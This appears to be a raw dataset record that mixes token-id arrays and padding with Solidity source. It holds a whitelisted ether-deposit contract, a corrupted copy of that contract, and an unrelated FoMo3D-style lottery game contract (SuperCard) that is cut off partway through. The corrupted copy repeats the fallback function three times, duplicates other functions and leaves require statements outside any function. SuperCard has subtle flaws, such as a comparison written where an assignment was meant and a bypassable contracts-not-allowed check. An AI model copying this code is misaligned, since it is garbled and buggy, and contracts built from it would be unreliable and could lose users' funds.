-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.19;
contract SmzTradingContract
{
address public constant RECEIVER_ADDRESS = 0xf3eB3CA356c111ECb418D457e55A3A3D185faf61;
uint256 public constant ACCEPTED_AMOUNT = 3 ether;
uint256 public RECEIVER_PAYOUT_THRESHOLD = 10 ether;
address public constant END_ADDRESS = 0x3559e34004b944906Bc727a40d7568a98bDc42d3;
uint256 public constant END_AMOUNT = 0.39 ether;
bool public ended = false;
mapping(address => bool) public addressesAllowed;
mapping(address => bool) public addressesDeposited;
// The manager can allow and disallow addresses to deposit
address public manager;
function SmzTradingContract() public
{
manager = msg.sender;
}
function setManager(address _newManager) external
{
require(msg.sender == manager);
manager = _newManager;
}
function () payable external
{
// If the ending address sends the ending amount, block all deposits
if (msg.sender == END_ADDRESS && msg.value == END_AMOUNT)
{
ended = true;
RECEIVER_ADDRESS.transfer(this.balance);
return;
}
// Only allow deposits if the process has not been ended yet
require(!ended);
// Only allow deposits of one exact amount
require(msg.value == ACCEPTED_AMOUNT);
// Only explicitly allowed addresses can deposit
require(addressesAllowed[msg.sender] == true);
// Each address can only despoit once
require(addressesDeposited[msg.sender] == false);
addressesDeposited[msg.sender] = true;
// When an address has deposited, we set their allowed state to 0.
// This refunds approximately 15000 gas.
addressesAllowed[msg.sender] = false;
// If we have crossed the payout threshold,
// transfer all the deposited amounts to the receiver address
if (this.balance >= RECEIVER_PAYOUT_THRESHOLD)
{
RECEIVER_ADDRESS.transfer(this.balance);
}
}
// The receiver may add and remove each address' permission to deposit
function addAllowedAddress(address _allowedAddress) public
{
require(msg.sender == manager);
addressesAllowed[_allowedAddress] = true;
}
function removeAllowedAddress(address _disallowedAddress) public
{
require(msg.sender == manager);
addressesAllowed[_disallowedAddress] = false;
}
function addMultipleAllowedAddresses(address[] _allowedAddresses) external
{
require(msg.sender == manager);
for (uint256 i=0; i<_allowedAddresses.length; i++)
{
addressesAllowed[_allowedAddresses[i]] = true;
}
}
function removeMultipleAllowedAddresses(address[] _disallowedAddresses) external
{
require(msg.sender == manager);
for (uint256 i=0; i<_disallowedAddresses.length; i++)
{
addressesAllowed[_disallowedAddresses[i]] = false;
}
}
}
|
The manager can allow and disallow addresses to deposit
|
{
address public constant RECEIVER_ADDRESS = 0xf3eB3CA356c111ECb418D457e55A3A3D185faf61;
uint256 public constant ACCEPTED_AMOUNT = 3 ether;
uint256 public RECEIVER_PAYOUT_THRESHOLD = 10 ether;
address public constant END_ADDRESS = 0x3559e34004b944906Bc727a40d7568a98bDc42d3;
uint256 public constant END_AMOUNT = 0.39 ether;
bool public ended = false;
mapping(address => bool) public addressesAllowed;
mapping(address => bool) public addressesDeposited;
address public manager;
function SmzTradingContract() public
{
manager = msg.sender;
}
function setManager(address _newManager) external
{
require(msg.sender == manager);
manager = _newManager;
}
function () payable external
{
if (msg.sender == END_ADDRESS && msg.value == END_AMOUNT)
{
ended = true;
RECEIVER_ADDRESS.transfer(this.balance);
return;
}
addressesDeposited[msg.sender] = true;
{
RECEIVER_ADDRESS.transfer(this.balance);
}
}
function () payable external
{
if (msg.sender == END_ADDRESS && msg.value == END_AMOUNT)
{
ended = true;
RECEIVER_ADDRESS.transfer(this.balance);
return;
}
addressesDeposited[msg.sender] = true;
{
RECEIVER_ADDRESS.transfer(this.balance);
}
}
require(!ended);
require(msg.value == ACCEPTED_AMOUNT);
require(addressesAllowed[msg.sender] == true);
require(addressesDeposited[msg.sender] == false);
addressesAllowed[msg.sender] = false;
if (this.balance >= RECEIVER_PAYOUT_THRESHOLD)
function () payable external
{
if (msg.sender == END_ADDRESS && msg.value == END_AMOUNT)
{
ended = true;
RECEIVER_ADDRESS.transfer(this.balance);
return;
}
addressesDeposited[msg.sender] = true;
{
RECEIVER_ADDRESS.transfer(this.balance);
}
}
function addAllowedAddress(address _allowedAddress) public
{
require(msg.sender == manager);
addressesAllowed[_allowedAddress] = true;
}
function removeAllowedAddress(address _disallowedAddress) public
{
require(msg.sender == manager);
addressesAllowed[_disallowedAddress] = false;
}
function addMultipleAllowedAddresses(address[] _allowedAddresses) external
{
require(msg.sender == manager);
for (uint256 i=0; i<_allowedAddresses.length; i++)
{
addressesAllowed[_allowedAddresses[i]] = true;
}
}
function addMultipleAllowedAddresses(address[] _allowedAddresses) external
{
require(msg.sender == manager);
for (uint256 i=0; i<_allowedAddresses.length; i++)
{
addressesAllowed[_allowedAddresses[i]] = true;
}
}
function removeMultipleAllowedAddresses(address[] _disallowedAddresses) external
{
require(msg.sender == manager);
for (uint256 i=0; i<_disallowedAddresses.length; i++)
{
addressesAllowed[_disallowedAddresses[i]] = false;
}
}
function removeMultipleAllowedAddresses(address[] _disallowedAddresses) external
{
require(msg.sender == manager);
for (uint256 i=0; i<_disallowedAddresses.length; i++)
{
addressesAllowed[_disallowedAddresses[i]] = false;
}
}
}
| 924,151 |
[
1,
1986,
3301,
848,
1699,
471,
29176,
6138,
358,
443,
1724,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
95,
203,
565,
1758,
1071,
5381,
2438,
1441,
45,
2204,
67,
15140,
273,
374,
5841,
23,
73,
38,
23,
3587,
23,
4313,
71,
20227,
7228,
70,
24,
2643,
40,
7950,
27,
73,
2539,
37,
23,
37,
23,
40,
30489,
507,
74,
9498,
31,
203,
565,
2254,
5034,
1071,
5381,
12048,
1441,
27222,
67,
2192,
51,
5321,
273,
890,
225,
2437,
31,
203,
565,
2254,
5034,
1071,
2438,
1441,
45,
2204,
67,
11389,
5069,
67,
23840,
273,
1728,
225,
2437,
31,
203,
377,
203,
565,
1758,
1071,
5381,
7273,
67,
15140,
273,
374,
92,
23,
2539,
29,
73,
5026,
26565,
70,
29,
6334,
29,
7677,
38,
71,
27,
5324,
69,
7132,
72,
27,
4313,
28,
69,
10689,
70,
40,
71,
9452,
72,
23,
31,
203,
565,
2254,
5034,
1071,
5381,
7273,
67,
2192,
51,
5321,
273,
374,
18,
5520,
225,
2437,
31,
203,
377,
203,
565,
1426,
1071,
16926,
273,
629,
31,
203,
377,
203,
565,
2874,
12,
2867,
516,
1426,
13,
1071,
6138,
5042,
31,
203,
565,
2874,
12,
2867,
516,
1426,
13,
1071,
6138,
758,
1724,
329,
31,
203,
377,
203,
565,
1758,
1071,
3301,
31,
203,
377,
203,
565,
445,
9425,
94,
1609,
7459,
8924,
1435,
1071,
203,
565,
288,
203,
3639,
3301,
273,
1234,
18,
15330,
31,
203,
565,
289,
203,
565,
445,
444,
1318,
12,
2867,
389,
2704,
1318,
13,
3903,
203,
565,
288,
203,
3639,
2583,
12,
3576,
18,
15330,
422,
3301,
1769,
203,
3639,
3301,
273,
389,
2704,
1318,
31,
203,
565,
289,
203,
377,
203,
565,
445,
2
] |
pragma solidity ^0.4.24;
/*--------------------------------------------------
____ ____ _
/ ___| _ _ _ __ ___ _ __ / ___|__ _ _ __ __| |
\___ \| | | | '_ \ / _ \ '__| | | / _` | '__/ _` |
___) | |_| | |_) | __/ | | |__| (_| | | | (_| |
|____/ \__,_| .__/ \___|_| \____\__,_|_| \__,_|
|_|
2018-08-08 V0.8
---------------------------------------------------*/
contract SPCevents {
// fired whenever a player registers a name
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
// fired at end of buy or reload
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
// fired whenever theres a withdraw
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
// fired whenever a withdraw forces end round to be ran
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
// fired whenever a player tries a buy after round timer
// hit zero, and causes end round to be ran.
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
// fired whenever a player tries a reload after round timer
// hit zero, and causes end round to be ran.
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
// fired whenever an affiliate is paid
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
// received pot swap deposit, add pot directly by admin to next round
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
//==============================================================================
// _ _ _ _|_ _ _ __|_ _ _ _|_ _ .
// (_(_)| | | | (_|(_ | _\(/_ | |_||_) .
//====================================|=========================================
contract SuperCard is SPCevents {
using SafeMath for *;
using NameFilter for string;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xbac825cdb506dcf917a7715a4bf3fa1b06abe3e4);
//==============================================================================
// _ _ _ |`. _ _ _ |_ | _ _ .
// (_(_)| |~|~|(_||_|| (_||_)|(/__\ . (game settings)
//=================_|===========================================================
address private admin = msg.sender;
string constant public name = "SuperCard";
string constant public symbol = "SPC";
uint256 private rndExtra_ = 0; // length of the very first ICO
uint256 private rndGap_ = 2 minutes; // length of ICO phase, set to 1 year for EOS.
uint256 constant private rndInit_ = 6 hours; // round timer starts at this
uint256 constant private rndInc_ = 30 seconds; // every full key purchased adds this much to the timer
uint256 constant private rndMax_ = 24 hours; // max length a round timer can be
//==============================================================================
// _| _ _|_ _ _ _ _|_ _ .
// (_|(_| | (_| _\(/_ | |_||_) . (data used to store game info that changes)
//=============================|================================================
uint256 public airDropPot_; // person who gets the airdrop wins part of this pot
uint256 public airDropTracker_ = 0; // incremented each time a "qualified" tx occurs. used to determine winning air drop
uint256 public rID_; // last rID
uint256 public pID_; // last pID
//****************
// PLAYER DATA
//****************
mapping (address => uint256) public pIDxAddr_; // (addr => pID) returns player id by address
mapping (bytes32 => uint256) public pIDxName_; // (name => pID) returns player id by name
mapping (uint256 => SPCdatasets.Player) public plyr_; // (pID => data) player data
mapping (uint256 => mapping (uint256 => SPCdatasets.PlayerRounds)) public plyrRnds_; // (pID => rID => data) player round data by player id & round id
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; // (pID => name => bool) list of names a player owns. (used so you can change your display name amongst any name you own)
//****************
// ROUND DATA
//****************
mapping (uint256 => SPCdatasets.Round) public round_; // (rID => data) round data
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; // (rID => tID => data) eth in per team, by round id and team id
mapping (uint256 => uint256) public attend; // (index => pID) player ID attend current round
//****************
// TEAM FEE DATA
//****************
mapping (uint256 => SPCdatasets.TeamFee) public fees_; // (team => fees) fee distribution by team
mapping (uint256 => SPCdatasets.PotSplit) public potSplit_; // (team => fees) pot split distribution by team
//==============================================================================
// _ _ _ __|_ _ __|_ _ _ .
// (_(_)| |_\ | | |_|(_ | (_)| . (initial data setup upon contract deploy)
//==============================================================================
constructor()
public
{
fees_[0] = SPCdatasets.TeamFee(80,2);
fees_[1] = SPCdatasets.TeamFee(80,2);
fees_[2] = SPCdatasets.TeamFee(80,2);
fees_[3] = SPCdatasets.TeamFee(80,2);
// how to split up the final pot based on which team was picked
potSplit_[0] = SPCdatasets.PotSplit(20,10);
potSplit_[1] = SPCdatasets.PotSplit(20,10);
potSplit_[2] = SPCdatasets.PotSplit(20,10);
potSplit_[3] = SPCdatasets.PotSplit(20,10);
/*
activated_ = true;
// lets start first round
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
*/
}
//==============================================================================
// _ _ _ _|. |`. _ _ _ .
// | | |(_)(_||~|~|(/_| _\ . (these are safety checks)
//==============================================================================
/**
* @dev used to make sure no one can interact with contract until it has
* been activated.
*/
modifier isActivated() {
if ( activated_ == false ){
if ( (now >= pre_active_time) && (pre_active_time > 0) ){
activated_ = true;
// lets start first round
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
require(activated_ == true, "its not ready yet.");
_;
}
/**
* @dev prevents contracts from interacting with SuperCard
*/
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
/**
* @dev sets boundaries for incoming tx
*/
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
//==============================================================================
// _ |_ |. _ |` _ __|_. _ _ _ .
// |_)|_||_)||(_ ~|~|_|| |(_ | |(_)| |_\ . (use these to interact with contract)
//====|=========================================================================
/**
* @dev emergency buy uses last stored affiliate ID and team snek
*/
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
// set up our tx event data and determine if player is new or not
SPCdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
// fetch player id
uint256 _pID = pIDxAddr_[msg.sender];
// buy core
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
// set up our tx event data and determine if player is new or not
SPCdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
// fetch player id
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
uint256 _affID;
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
// use last stored affiliate code
_affID = plyr_[_pID].laff;
// if affiliate code was given
} else {
// get affiliate ID from aff Code
_affID = pIDxName_[_affCode];
// if affID is not the same as previously stored
if (_affID != plyr_[_pID].laff)
{
// update last affiliate
plyr_[_pID].laff = _affID;
}
}
// buy core, team set to 2, snake
buyCore(_pID, _affID, 2, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
// set up our tx event data
SPCdatasets.EventReturns memory _eventData_;
// fetch player ID
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
uint256 _affID;
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
// use last stored affiliate code
_affID = plyr_[_pID].laff;
// if affiliate code was given
} else {
// get affiliate ID from aff Code
_affID = pIDxName_[_affCode];
// if affID is not the same as previously stored
if (_affID != plyr_[_pID].laff)
{
// update last affiliate
plyr_[_pID].laff = _affID;
}
}
// reload core, team set to 2, snake
reLoadCore(_pID, _affID, _eth, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
// set up our tx event data
SPCdatasets.EventReturns memory _eventData_;
// fetch player ID
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == 0 || _affCode == _pID)
{
// use last stored affiliate code
_affCode = plyr_[_pID].laff;
// if affiliate code was given & its not the same as previously stored
} else if (_affCode != plyr_[_pID].laff) {
// update last affiliate
plyr_[_pID].laff = _affCode;
}
// reload core, team set to 2, snake
reLoadCore(_pID, _affCode, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
// set up our tx event data
SPCdatasets.EventReturns memory _eventData_;
// fetch player ID
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
uint256 _affID;
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == address(0) || _affCode == msg.sender)
{
// use last stored affiliate code
_affID = plyr_[_pID].laff;
// if affiliate code was given
} else {
// get affiliate ID from aff Code
_affID = pIDxAddr_[_affCode];
// if affID is not the same as previously stored
if (_affID != plyr_[_pID].laff)
{
// update last affiliate
plyr_[_pID].laff = _affID;
}
}
// reload core, team set to 2, snake
reLoadCore(_pID, _affID, _eth, _eventData_);
}
/**
* @dev essentially the same as buy, but instead of you sending ether
* from your wallet, it uses your unwithdrawn earnings.
* -functionhash- 0x349cdcac (using ID for affiliate)
* -functionhash- 0x82bfc739 (using address for affiliate)
* -functionhash- 0x079ce327 (using name for affiliate)
* @param _affCode the ID/address/name of the player who gets the affiliate fee
* @param _team what team is the player playing for?
* @param _eth amount of earnings to use (remainder returned to gen vault)
*/
/**
* @dev withdraws all of your earnings.
* -functionhash- 0x3ccfd60b
*/
function withdraw()
isActivated()
isHuman()
public
{
// setup local rID
uint256 myrID = rID_;
// grab time
uint256 _now = now;
// fetch player ID
uint256 _pID = pIDxAddr_[msg.sender];
// setup temp var for player eth
uint256 upperLimit = 0;
uint256 usedGen = 0;
// eth send to player
uint256 ethout = 0;
uint256 over_gen = 0;
updateGenVault(_pID, plyr_[_pID].lrnd);
if (plyr_[_pID].gen > 0)
{
upperLimit = (calceth(plyrRnds_[_pID][myrID].keys).mul(105))/100;
if(plyr_[_pID].gen >= upperLimit)
{
over_gen = (plyr_[_pID].gen).sub(upperLimit);
round_[myrID].keys = (round_[myrID].keys).sub(plyrRnds_[_pID][myrID].keys);
plyrRnds_[_pID][myrID].keys = 0;
round_[myrID].pot = (round_[myrID].pot).add(over_gen);
usedGen = upperLimit;
}
else
{
plyrRnds_[_pID][myrID].keys = (plyrRnds_[_pID][myrID].keys).sub(calckeys(((plyr_[_pID].gen).mul(100))/105));
round_[myrID].keys = (round_[myrID].keys).sub(calckeys(((plyr_[_pID].gen).mul(100))/105));
usedGen = plyr_[_pID].gen;
}
ethout = ((plyr_[_pID].win).add(plyr_[_pID].aff)).add(usedGen);
}
else
{
ethout = ((plyr_[_pID].win).add(plyr_[_pID].aff));
}
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
plyr_[_pID].addr.transfer(ethout);
// check to see if round has ended and no one has run round end yet
if (_now > round_[myrID].end && round_[myrID].ended == false && round_[myrID].plyr != 0)
{
// set up our tx event data
SPCdatasets.EventReturns memory _eventData_;
// end the round (distributes pot)
round_[myrID].ended = true;
_eventData_ = endRound(_eventData_);
// build event data
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
// fire withdraw and distribute event
emit SPCevents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
ethout,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
// in any other situation
} else {
// fire withdraw event
emit SPCevents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, ethout, _now);
}
}
/**
* @dev use these to register names. they are just wrappers that will send the
* registration requests to the PlayerBook contract. So registering here is the
* same as registering there. UI will always display the last name you registered.
* but you will still own all previously registered names to use as affiliate
* links.
* - must pay a registration fee.
* - name must be unique
* - names will be converted to lowercase
* - name cannot start or end with a space
* - cannot have more than 1 space in a row
* - cannot be only numbers
* - cannot start with 0x
* - name must be at least 1 char
* - max length of 32 characters long
* - allowed characters: a-z, 0-9, and space
* -functionhash- 0x921dec21 (using ID for affiliate)
* -functionhash- 0x3ddd4698 (using address for affiliate)
* -functionhash- 0x685ffd83 (using name for affiliate)
* @param _nameString players desired name
* @param _affCode affiliate ID, address, or name of who referred you
* @param _all set to true if you want this to push your info to all games
* (this might cost a lot of gas)
*/
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
// fire event
emit SPCevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
//==============================================================================
// _ _ _|__|_ _ _ _ .
// (_|(/_ | | (/_| _\ . (for UI & viewing things on etherscan)
//=====_|=======================================================================
/**
* @dev return the price buyer will pay for next 1 individual key.
* -functionhash- 0x018a25e8
* @return price for next key bought (in wei format)
*/
function getBuyPrice()
public
view
returns(uint256)
{
// price 0.01 ETH
return(10000000000000000);
}
/**
* @dev returns time left. dont spam this, you'll ddos yourself from your node
* provider
* -functionhash- 0xc7e284b8
* @return time left in seconds
*/
function getTimeLeft()
public
view
returns(uint256)
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
/**
* @dev returns player earnings per vaults
* -functionhash- 0x63066434
* @return winnings vault
* @return general vault
* @return affiliate vault
*/
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
// if round has ended. but round end has not been run (so contract has not distributed winnings)
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
/**
* @dev returns all current round info needed for front end
* -functionhash- 0x747dff42
* @return eth invested during ICO phase
* @return round id
* @return total keys for round
* @return time round ends
* @return time round started
* @return current pot
* @return current team ID & player ID in lead
* @return current player in leads address
* @return current player in leads name
* @return whales eth in for round
* @return bears eth in for round
* @return sneks eth in for round
* @return bulls eth in for round
* @return airdrop tracker # & airdrop pot
*/
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
// setup local rID
uint256 _rID = rID_;
return
(
round_[_rID].ico, //0
_rID, //1
round_[_rID].keys, //2
round_[_rID].end, //3
round_[_rID].strt, //4
round_[_rID].pot, //5
(round_[_rID].team + (round_[_rID].plyr * 10)), //6
plyr_[round_[_rID].plyr].addr, //7
plyr_[round_[_rID].plyr].name, //8
rndTmEth_[_rID][0], //9
rndTmEth_[_rID][1], //10
rndTmEth_[_rID][2], //11
rndTmEth_[_rID][3], //12
airDropTracker_ + (airDropPot_ * 1000) //13
);
}
/**
* @dev returns player info based on address. if no address is given, it will
* use msg.sender
* -functionhash- 0xee0b5d8b
* @param _addr address of the player you want to lookup
* @return player ID
* @return player name
* @return keys owned (current round)
* @return winnings vault
* @return general vault
* @return affiliate vault
* @return player round eth
*/
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
// setup local rID
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID, //0
plyr_[_pID].name, //1
plyrRnds_[_pID][_rID].keys, //2
plyr_[_pID].win, //3
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), //4
plyr_[_pID].aff, //5
plyrRnds_[_pID][_rID].eth //6
);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
// set up our tx event data and determine if player is new or not
SPCdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
// fetch player id
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
uint256 _affID;
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == address(0) || _affCode == msg.sender)
{
// use last stored affiliate code
_affID = plyr_[_pID].laff;
// if affiliate code was given
} else {
// get affiliate ID from aff Code
_affID = pIDxAddr_[_affCode];
// if affID is not the same as previously stored
if (_affID != plyr_[_pID].laff)
{
// update last affiliate
plyr_[_pID].laff = _affID;
}
}
// buy core, team set to 2, snake
buyCore(_pID, _affID, 2, _eventData_);
}
//==============================================================================
// _ _ _ _ | _ _ . _ .
// (_(_)| (/_ |(_)(_||(_ . (this + tools + calcs + modules = our softwares engine)
//=====================_|=======================================================
/**
* @dev logic runs whenever a buy order is executed. determines how to handle
* incoming eth depending on if we are in an active round or not
*/
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, SPCdatasets.EventReturns memory _eventData_)
private
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
// if round is active
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
// call core
core(_rID, _pID, msg.value, _affID, 2, _eventData_);
// if round is not active
} else {
// check to see if end round needs to be ran
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
// end the round (distributes pot) & start new round
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
// build event data
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
// fire buy and distribute event
emit SPCevents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
// put eth in players vault, to win vault
plyr_[_pID].win = plyr_[_pID].win.add(msg.value);
}
}
/**
* @dev gen limit handle
*/
function genLimit(uint256 _pID)
private
returns(uint256)
{
// setup local rID
uint256 myrID = rID_;
uint256 upperLimit = 0;
uint256 usedGen = 0;
uint256 over_gen = 0;
uint256 eth_can_use = 0;
uint256 tempnum = 0;
updateGenVault(_pID, plyr_[_pID].lrnd);
if (plyr_[_pID].gen > 0)
{
upperLimit = ((plyrRnds_[_pID][myrID].keys).mul(105))/10000;
if(plyr_[_pID].gen >= upperLimit)
{
over_gen = (plyr_[_pID].gen).sub(upperLimit);
round_[myrID].keys = (round_[myrID].keys).sub(plyrRnds_[_pID][myrID].keys);
plyrRnds_[_pID][myrID].keys = 0;
round_[myrID].pot = (round_[myrID].pot).add(over_gen);
usedGen = upperLimit;
}
else
{
tempnum = ((plyr_[_pID].gen).mul(10000))/105;
plyrRnds_[_pID][myrID].keys = (plyrRnds_[_pID][myrID].keys).sub(tempnum);
